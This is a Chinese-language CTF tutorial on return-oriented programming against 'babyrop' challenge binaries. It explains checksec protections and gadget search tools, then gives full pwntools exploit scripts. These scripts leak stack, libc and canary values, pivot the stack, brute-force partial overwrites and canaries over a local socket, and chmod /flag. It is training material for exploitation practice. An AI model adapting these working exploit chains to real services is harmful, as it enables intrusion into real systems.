- 0. checksec起手
- 1. ROP gadgets 搜索
- 2. ROP 防御绕过技巧
0. checksec起手
一般情况下,安装pwntools
后,就会默认帮你安装checksec
,这个命令非常好用,主要的功能是帮助你了解程序开启了哪些保护。
Arch:
程序架构,这里告诉你是x86_64
RELRO(read only relocation):
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
Stack:
有无canary
NX:
no-execute,即栈不可执行
PIE(position independent executable):
位置无关代码
SHSTK: 前提条件,开启CET(CONTROL-FLOW ENFORCEMENT TECHNOLOGY)
shadow stack,当shadow stack开启时,CALL指令会把返回地址同时压入数据栈和影子栈(shadow stack),RET指令会把返回地址同时从数据栈和影子栈取出,并比较。
如果从两个栈中取出的返回地址不匹配,那么就会触发控制保护异常(#CP)
IBT: 前提条件,开启CET(CONTROL-FLOW ENFORCEMENT TECHNOLOGY)
indirect branch tracker,应用于间接跳转(jmp/call指令),如果在间接跳转后的下一条指令不是ENDBR32或ENDBR64,就会触发#CP异常。
并不包括RIP相对跳转、远直接jmp跳转、call相对跳转等,这些都是跳转到固定地址,不存在被篡改的可能,因此IBT并不作用于这种情况
Stripped:是否去了符号
总之,开始ctf之前,起手checksec是常规操作
1. ROP gadgets 搜索
工欲善其事,必先利其器
ROP中的gadget,人工搜索不现实,这里列出几个常见的好用的rop gadget搜索工具
1.1 ROPgadget
pwntools
安装好后自带的gadget搜索工具
通常情况下,
ROPgadget
能满足绝大部分需求
1.2 one_gadget
所谓one_gadget
,是指一条指令就能get shell
的指令,通常使用在你已经获得了程序执行用到的libc
文件后执行。
安装步骤如下:(ubuntu20.04)
sudo apt install ruby
sudo apt install gem
sudo gem install elftools -v 1.2.0
sudo gem install one_gadget -v 1.9.0
1.3 rp++
据说是最好用的gadget搜索工具,搜的比ROPgadget全,如果ROPgadget找不到gadget,不妨试试rp++
在ubuntu20
上安装过程如下:
git clone https://github.com/0vercl0k/rp.git
cd rp/src/build
chmod 777 build-release.sh
sudo apt install cmake
sudo apt install ninja-build
./build-release.sh
cp rp-lin /usr/local/bin/rp++
# 使用
rp++ -f babyrop_level6.1 -r3 --colors
2. ROP 防御绕过技巧
2.1 ASLR(Address Space Layout Randomization)和NX,NO-PIE
ASLR和pie的关联和联系是:
pie是一种编译选项,即这个程序是否是位置无关的代码;
aslr是系统选项,对于开启了aslr的系统,在加载程序时,会尝试把程序装载到随机的基地址上
如果:
1、关闭aslr
程序无论是否有pie,装载基地址不变
2、开启aslr,且值为1
程序没有pie,程序本身装载基地址不变;除heap外的其他部分(如libc、stack等等)会装载在随机地址
程序有pie,程序本身装载基地址也会变化
3、开启aslr,且值为2
程序没有pie,程序本身装载基地址不变;其他部分(如libc、stack、heap等等)会装载在随机地址
程序有pie,程序本身装载基地址也会变化
2.1.1 泄露stack地址完成绕过
如果你知道stack
的地址的话,我们可以引用 写在栈空间上的数据,完成利用
from pwn import *
context.log_level = 'debug'
p = process("./babyrop_level4.0")
p.recvuntil(b"[LEAK] Your input buffer is located at: 0x")
stack_addr= int(p.recv(12),16)
print("buffer_addr:",hex(stack_addr))
syscall = 0x0000000000402641
pop_rdi_ret = 0x0000000000402669
pop_rsi_ret = 0x0000000000402671
pop_rdx_ret = 0x000000000040264a
pop_rcx_ret = 0x0000000000402662
pop_rax_ret = 0x0000000000402651
payload = b"/flag\x00".ljust(0x50+8,b"a")+ p64(pop_rdi_ret)+p64(stack_addr)+p64(pop_rsi_ret)+p64(511)+p64(pop_rax_ret)+p64(90)+p64(syscall)
#print(shellcraft.sh())
p.send(payload)
p.interactive()
2.1.2 no-pie写bss段
如果系统开启了aslr,但是程序是no-pie
的,这意味着程序段的地址是固定的,我们可以先在bss段中写入我们想要使用的字符串,比如”/flag”,然后进行二次利用:
核心思路:bss段的值默认为0;且代码中能够找到pop rcx; ret
、pop rax; ret
、add byte ptr [rcx], al ; pop rbp ; ret
三个gadgets,这样即可直接写入字符串
思路2:在没有上述的gadget时,我们可以考虑pop rdi; ret
,pop rsi; ret
,pop rdx; ret
,这能帮助我们构造参数,然后利用pop rax;ret
,syscall
或者read_plt创建一个新字符串
思路3:如果能够操作机器,可以创建一个符号链接链接/flag,符号链接文件名称为攻击程序中的任意字符串
from pwn import *
context.log_level = 'debug'
p = process("./babyrop_level5.0")
gdb.attach(p)
pause()
syscall = 0x000000000040270f
pop_rdi_ret = 0x00000000004026df
pop_rsi_ret = 0x00000000004026ff
pop_rdx_ret = 0x00000000004026f0
pop_rcx_ret = 0x0000000000402708
pop_rax_ret = 0x00000000004026e8
# 0x000000000040127b : add byte ptr [rcx], al ; pop rbp ; ret
add_byteptrrcx_al_pop_rbp_ret = 0x000000000040127b
bss_addr = 0x405200
key_string = b"/flag\x00"
payload = b"a".ljust(0x60+8,b"a")
for i in range(len(key_string)):
payload += p64(pop_rcx_ret)+p64(bss_addr+i)+p64(pop_rax_ret)+p64(key_string[i])+p64(add_byteptrrcx_al_pop_rbp_ret)+p64(0)
payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(pop_rax_ret)+p64(90)+p64(syscall)
#print(shellcraft.sh())
p.send(payload)
p.interactive()
2.1.3 没有syscall gadget
如果没有syscall gadget
,我们应该如何完成利用呢?
解答:利用程序已有的plt,一般来说open,read,write都是有的,且调用plt时,无需担心没有ret的问题~;另一点就是利用程序fd是顺序增长的原理,可以猜测open的fd是哪个值
from pwn import *
context.log_level = 'debug'
p = process("./babyrop_level6.1")
gdb.attach(p,"b *0x0000000000401c58")
pause()
pop_rdi_ret = 0x0000000000401c58
pop_rsi_ret = 0x0000000000401c50
pop_rdx_ret = 0x0000000000401c48
pop_rcx_ret = 0x0000000000401c40
bss_addr = 0x404200
key_string = b"/flag\x00"
key_string_len = len(key_string)
read_addr = 0x4010D0
open_addr = 0x401100
sendfile_addr = 0x4010E0
payload = b"a".ljust(0x20+8,b"a")
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret)+p64(key_string_len) + p64(read_addr) # read "/flag"
payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr) # open /flag
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(3)+p64(pop_rdx_ret)+p64(0)+p64(pop_rcx_ret)+p64(100)+p64(sendfile_addr) # sendlife(stdout,/flag,0,100)
p.send(payload)
p.send(key_string)
p.interactive()
2.1.4 泄露libc地址
如果能知道libc地址
的话,我们就能够借助libc
里的函数来完成rop链子的构造
泄露libc的地址,常见的方法是调用puts_plt(puts_got)来打印地址
核心思路是,在得知libc地址后,在libc里搜索必须的gadget,完成利用
from pwn import *
context.log_level = 'debug'
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
p = process("/challenge/babyrop_level7.0")
libc = ELF(libc_path)
#gdb.attach(p,"b *0x4024F3")
#pause()
p.recvuntil(b'[LEAK] The address of "system" in libc is: 0x')
system_addr = int(p.recv(12),16)
print("system_addr:",hex(system_addr))
libc.address = system_addr - libc.symbols["system"]
chmod_addr = libc.symbols["chmod"]
print("chmod_addr:",hex(chmod_addr))
bss_addr = 0x405200
pop_rdi_ret = 0x0000000000023b6a + libc.address
pop_rsi_ret = 0x000000000002601f + libc.address
pop_rdx_ret_0x10 = 0x00000000000dfc12 + libc.address
read_plt = 0x401150
print("pop_rdi_ret addr:",hex(pop_rdi_ret))
payload = b"a".ljust(0x40+8,b"a")
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret_0x10)+p64(0x100)+p64(read_plt)+p64(0)+p64(0) # read(0,bss,0x100) # ret 10 = ret; add rsp, 10
payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"]) #chmod("/flag",511)
p.send(payload)
p.send(b"/flag")
p.interactive()
再给一个类似的exp:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level= 'debug'
process_path = "./babyrop_level8.0"
libc_path = "./libc.so.6_7"
p = process(process_path,env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)
binary = p.elf
puts_plt = 0x401114
puts_got = binary.got['puts']
pop_rdi_ret = 0x0000000000401ed3
challenge_addr = 0x0000000000401C36
bss_addr = 0x404200
read_plt = 0x401140
# get libc addr
payload = b"a".ljust(0x50+8,b"a")
payload += p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt) # puts_plt(puts_got)
payload += p64(challenge_addr) # back to challenge
p.send(payload)
p.recvuntil(b"Leaving!\n")
puts_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))
log.success(f"puts_addr: {hex(puts_addr)}")
# chmod 777 /flag
libc.address = puts_addr - libc.symbols['puts']
pop_rsi_ret = libc.address + 0x000000000002601f
pop_rdx_ret_0x10 = libc.address + 0x00000000000dfc12
payload = b"a".ljust(0x50+8,b"a")
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret_0x10)+p64(0x100)+p64(read_plt)+ p64(0)+p64(0) # read(0,bss,0x100) # ret 10 = ret; add rsp, 10
payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"]) # #chmod("/flag",511)
p.send(payload)
p.send(b"/flag")
p.interactive()
2.1.5 stack pivot(栈迁移)
核心原理是修改rsp的值,即完成栈的移动
常见的修改rsp的命令有leave(mov rsp, rbp; pop rbp); ret
和pop rsp; ret
stack pivot 坑点:1. 栈对齐16字节,这是libc里某些函数的限制,比如某函数A会检查其栈是否16字节对齐,不对齐会失败 2. 记得在栈前保留空间,这主要是应对跳转到某函数B中,该函数需要较多的栈空间的场景
请记住这些坑点,因为很难定位问题出在哪里
from pwn import *
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
process_path = "./babyrop_level9.0"
libc_path = "./libc.so.6"
p = process(process_path,env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)
binary = p.elf
# gadgets
challenge_addr = 0x4017EC
padding_size =0x400
bss_addr = 0x4140e0
pop_rbp_ret = 0x000000000040129d
leave_ret = 0x00000000004016ab
pop_rdi_ret = 0x0000000000401af3
puts_plt = 0x401120
puts_got = binary.got["puts"]
log.debug(f"puts_plt: {hex(puts_plt)}; puts_got:{hex(puts_got)}")
# step 1 : leak libc addr
payload = p64(pop_rbp_ret)+p64(bss_addr+padding_size)+p64(leave_ret) # stack pivot # max size: 24 bytes
payload = payload.ljust(padding_size,b"a")
payload += p64(0xdeadbeef) # leave = mov rsp,rbp; pop rbp
payload += p64(pop_rdi_ret)+ p64(puts_got) + p64(puts_plt) # puts(puts)
payload += p64(challenge_addr) # return to challenge
# gdb.attach(p,"b *0x4019CE\nb *0x401905\nwatch *(char*)0x4141e0")
# pause()
p.send(payload)
p.recvuntil(b"Leaving!\n")
puts_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))
log.success(f"puts_addr: {hex(puts_addr)}")
libc.address = puts_addr - libc.symbols["puts"]
# step 2 : chmod("/flag",777)
padding_size = 0x100
pop_rsi_ret = libc.address + 0x000000000002601f
payload = p64(pop_rbp_ret)+p64(bss_addr+padding_size)+p64(leave_ret) # stack pivot # max size: 24 bytes
payload = payload.ljust(padding_size,b"a")
payload += b"/flag\x00\x00\x00"# leave = mov rsp,rbp; pop rbp
payload += p64(pop_rdi_ret) + p64(bss_addr+padding_size) + p64(pop_rsi_ret) + p64(511) + p64(libc.symbols["chmod"])#chmod("/flag",511)
# gdb.attach(p,"b *0x4019CE")
# pause()
p.send(payload)
p.interactive()
tips: watch *(int*)0x4140e0
的内存断点在调试时非常有用!
2.2 ASLR(Address Space Layout Randomization)和NX,PIE
2.2.1 部分覆盖返回地址执行一个gadget
前提条件: 某个能够让你达成目的 的one_gadget的地址 位于栈空间上,且你知道这个栈空间的地址;存在栈溢出
思路: 1. 覆盖栈空间中rbp的值为 one_gadget地址所在的位置;2. 部分覆盖返回地址的低2字节(或一字节)完成stack pivot
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyrop_level10.1"
# libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
libc_path = "./libc.so.6"
p = process(binary_path,env={"LD_PRELOAD":libc_path})
libc =ELF(libc_path)
binary = p.elf
p.recvuntil(b"[LEAK] Your input buffer is located at: ")
stack_addr = int(p.recvline().strip(b"\n").strip(b"."),16)
log.success(f"win_addr: {hex(stack_addr)}")
# gdb.attach(p,"b *$rebase(0x2010)")
# pause()
payload = b"a".ljust(0x28,b"a")
payload += p64(stack_addr-16) # assume one_gadget's address is in stack_addr-8
payload += p8(0x10) #该题目只需改低1字节即可,无需爆破 只要是让其再执行一次leave; ret 完成栈迁移
p.send(payload)
p.interactive()
需要爆破2字节时,通常是这样的:
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = './babyrop_level11.1'
libc_path = './libc.so.6'
while True:
p = process(binary_path,env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)
binary = p.elf
p.recvuntil(b"[LEAK] Your input buffer is located at: ")
win_stack_pos = int(p.recvline().strip(b".\n"),16)
log.success(f"win_stack_pos:{hex(win_stack_pos)}")
# gdb.attach(p,"b *$rebase(0x2181)")
# pause()
payload = b"a".ljust(0x88,b"a")
payload += p64(win_stack_pos-0x10)
payload += p16(0x81)
p.send(payload)
result = p.recvall()
if b"flag" in result:
print(result)
break
#p.interactive()
p.close()
如果返回的地址位于libc中,你要使用的gadget也位于libc当中,通常需要爆破12bit
from pwn import *
context.log_level = 'debug'
context.os='linux'
context.arch='amd64'
binary_path='./babyrop_level12.1'
libc_path='./libc.so.6'
for i in range(4096):
p=process(binary_path,env={"LD_PRELOAD":libc_path})
libc=ELF(libc_path)
binary=p.elf
p.recvuntil(b"[LEAK] Your input buffer is located at: ")
stack_addr = int(p.recvline().strip(b".\n"),16)
log.success(f"stack_addr:{hex(stack_addr)}")
# gdb.attach(p,"b *$rebase(0x1C88)")
# pause()
payload = b"a".ljust(0x58,b"a")
payload += p64(stack_addr-0x10)
payload += p8(0xc8)+p16((i<<4)+8)
p.send(payload)
result = p.recvall()
if b"flag" in result:
print(result)
break
p.close()
2.3 ASLR(Address Space Layout Randomization)和NX,PIE, CANARY
2.3.1 泄露stack地址,canary,libc基址
思路:
1. 泄露stack地址
2. 根据任意地址读泄露canary
3. 部分修改main函数的返回地址,使其返回到libc中调用main函数的位置,再调用一次main函数
4. 根据任意地址读泄露libc地址
5. ROP,gadgets在libc中找
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyrop_level13.1"
libc_path = "./libc.so.6"
p = process(binary_path,env={"LD_PRELOAD":libc_path})
binary = p.elf
libc = ELF(libc_path)
# get stack addr
p.recvuntil(b"[LEAK] Your input buffer is located at: ")
stack_addr = int(p.recvline().strip(b".\n"),16)
log.success(f"stack_addr:{hex(stack_addr)}")
# get canary
canary_addr = stack_addr+0x68
log.info(f"canary_addr:{hex(canary_addr)}")
p.recvuntil(b"Address in hex to read from:")
p.sendline(hex(canary_addr).encode())
p.recvuntil(b" = ")
canary = int(p.recvline().strip(b"\n"),16)
log.success(f"canary_value:{hex(canary)}")
# go back to main again!
#gdb.attach(p,"b *$rebase(0x13D7)")
#pause()
payload = b"a".ljust(0x68,b"a")
payload += p64(canary) + p64(0xdeadbeef) +p8(0x3f)
p.send(payload)
# get libc_addr
p.recvuntil(b"Address in hex to read from:")
libc_pointer_addr = stack_addr + 0x78
p.sendline(hex(libc_pointer_addr))
p.recvuntil(b" = ")
libc_addr = int(p.recvline().strip(b"\n"),16)
libc_base = libc_addr - 0x24083
log.success(f"libc_base:{hex(libc_base)}")
libc.address = libc_base
# construct ROP chain
pop_rdi_ret = 0x0000000000023b6a + libc.address
pop_rsi_ret = 0x000000000002601f + libc.address
payload = b"/flag\x00\x00\x00".ljust(0x68,b"a")
payload += p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"])
p.send(payload)
p.interactive()
2.3.2 网络请求连接:多进程爆破canary、程序地址,泄露libc地址
对于多进程的网络请求类型的程序,只要有一个栈溢出,就能解决很多事情!
用栈溢出逐字节爆破canary,再逐字节爆破返回地址
from pwn import *
# context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
# binary_path = "./babyrop_level14.0"
# libc_path = "./libc.so.6"
binary_path = "/challenge/babyrop_level14.0"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
# p = process(binary_path,env={"LD_PRELOAD":libc_path})
# binary = p.elf
binary = ELF(binary_path)
libc = ELF(libc_path)
# bruteforce canary
canary = [0x00]
for i in range(7):
for j in range(256):
io = remote("127.0.0.1",1337)
#gdb.attach(io,"b *$rebase(0x1C7A)")
#pause()
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload = b"a".ljust(0x18,b"a") + bytes(canary) + p8(j)
io.send(payload)
result = io.recvall()
if b"stack smashing detected" not in result:
log.success(f"{i+2}th canary has been found: {hex(j)}")
canary.append(j)
io.close()
break
io.close()
log.success(f"current canary: {canary}")
# pause()
canary = u64(bytes(canary))
log.success(f"canary:{hex(canary)}")
pause()
# canary=0x999209ebdb95b900
# bruteforce program addr
challenge_addr = [0xfc]
for i in range(7):
for j in range(256):
io = remote("127.0.0.1",1337)
# gdb.attach(io,"b *$rebase(0x1C66)")
# pause()
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload = b"a".ljust(0x18,b"a") + p64(canary)
payload += p64(0xdeadbeef) + bytes(challenge_addr)+ p8(j)
io.send(payload)
result = io.recvall(timeout=1)
if b"scenario." in result:
log.success(f"{i+2}th program addr has been found:{hex(j)}")
challenge_addr.append(j)
io.close()
break
io.close()
log.success(f"current program_addr:{challenge_addr}")
# pause()
# challenge_addr = [252, 90, 89, 219, 219, 85, 0, 0]
challenge_addr = u64(bytes(challenge_addr))
log.success(f"challenge_addr:{hex(challenge_addr)}")
binary.address = challenge_addr - 0x1AFC
pause()
# leak libc addr
log.success(f"start to leak the libc")
pop_rdi_ret = 0x0000000000001ed3 + binary.address
io = remote("127.0.0.1",1337)
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload = b"a".ljust(0x18,b"a")+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(binary.got["puts"])+p64(binary.address+0x11D0)
# gdb.attach(io,"b *$rebase(0x1C66)")
# pause()
io.send(payload)
io.recvuntil(b"Leaving!\n")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
log.success(f"puts_addr:{hex(puts_addr)}")
libc_base = puts_addr - libc.symbols["puts"]
log.success(f"libc_base: {hex(libc_base)}")
libc.address = libc_base
io.close()
# exploit
log.success(f"start to explit!")
string_addr = binary.address + 0x7B7 # mincore
pop_rsi_ret = libc.address+ 0x000000000002601f
io = remote("127.0.0.1",1337)
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
# gdb.attach(io,"b *$rebase(0x1C66)")
# pause()
payload = b"a".ljust(0x18,b"a")+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(string_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"])
io.send(payload)
io.interactive()
坑点注意:在使用pwntools的ELF中的got/plt表的内容,务必使用got/plt,不要使用symbols!!!
2.3.3 网络请求连接:多进程爆破canary、libc地址
如果存在栈溢出的函数就在main函数当中,他会返回libc地址,我们这时候需要爆破的是libc的基址
from pwn import *
import os
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyrop_level15.0"
libc_path = "./libc.so.6"
# binary_path = "/challenge/babyrop_level15.0"
# libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
# p = process(binary_path,env={"LD_PRELOAD":libc_path})
# binary = p.elf
binary = ELF(binary_path)
libc = ELF(libc_path)
# bruteforce canary
canary = [0x00]
for i in range(7):
for j in range(256):
io = remote("127.0.0.1",1337)
#gdb.attach(io,"b *$rebase(0x1C7A)")
#pause()
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload = b"a".ljust(0x38,b"a") + bytes(canary) + p8(j)
io.send(payload)
result = io.recvall()
if b"stack smashing detected" not in result:
log.success(f"{i+2}th canary has been found: {hex(j)}")
canary.append(j)
io.close()
break
io.close()
log.success(f"current canary: {canary}")
# pause()
canary = u64(bytes(canary))
log.success(f"canary:{hex(canary)}")
# pause()
# bruteforce libc_addr
challenge_addr = [0x3F]
for i in range(7):
for j in range(256):
io = remote("127.0.0.1",1337)
# gdb.attach(io,"b *$rebase(0x1C66)")
# pause()
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload = b"a".ljust(0x38,b"a") + p64(canary)
payload += p64(0xdeadbeef) + bytes(challenge_addr)+ p8(j)
io.send(payload)
result = io.recvall(timeout=1)
if b"### Welcome to" in result:
log.success(f"{i+2}th program addr has been found:{hex(j)}")
challenge_addr.append(j)
# io.interactive()
io.close()
break
io.close()
log.success(f"current program_addr:{challenge_addr}")
# pause()
challenge_addr = u64(bytes(challenge_addr))
log.success(f"challenge_addr:{hex(challenge_addr)}")
libc.address = challenge_addr - 0x2403F
# pause()
# exploit
log.success(f"start to explit!")
string_addr = libc.address + 0x1721F # stdin
pop_rsi_ret = libc.address+ 0x000000000002601f
pop_rdi_ret = libc.address + 0x0000000000023b6a
io = remote("127.0.0.1",1337)
io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
# gdb.attach(io,"b *$rebase(0x1C66)")
# pause()
payload = b"a".ljust(0x38,b"a")+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(string_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"])
io.send(payload)
io.interactive()
这种常见容易遇到一个问题就是,返回到main函数后,又多开了一个进程抢占1337端口,所以需要你提前关闭才能进行下一步